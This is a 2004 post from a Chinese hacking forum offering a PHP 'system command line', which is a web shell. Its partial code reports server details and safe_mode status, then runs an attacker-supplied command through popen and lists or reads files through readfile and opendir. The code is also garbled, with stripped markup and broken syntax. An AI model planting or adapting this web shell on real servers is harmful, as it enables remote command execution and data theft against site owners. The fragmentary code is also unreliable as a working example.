Board logo

标题: php编写的系统命令行 [打印本页]

作者: demon    时间: 2004-4-7 08:44     标题: php编写的系统命令行

phpinfo" echo"服务器域名:"echo("$_SERVER[SERVER_NAME]");echo"
"; echo "本文件所在位置:";echo($_SERVER["PATH_TRANSLATED"]);echo"
"; ?>
"; echo "*Author: Demon'friend
"; echo "* safe_mode:";if(get_cfg_var("safemode"))echo"on";else echo"off"; } ?> &1");} if ($method=="popen") {$pp=popen('$cmd 2>&1','r'); $read=fread($pp,2096); echo $read; pclose($pp); } if ($method=="readfile"){ readfile("$cmd");} if ($method=="opendir"{ $h=opendir(($cmd); while($file=readdir($h)){ echo "$file\n"; } } ?>
作者: 墓志铭    时间: 2004-4-7 16:57     标题: php编写的系统命令行






欢迎光临 黑色海岸线论坛 (http://bbs.thysea.com/) Powered by Discuz! 7.2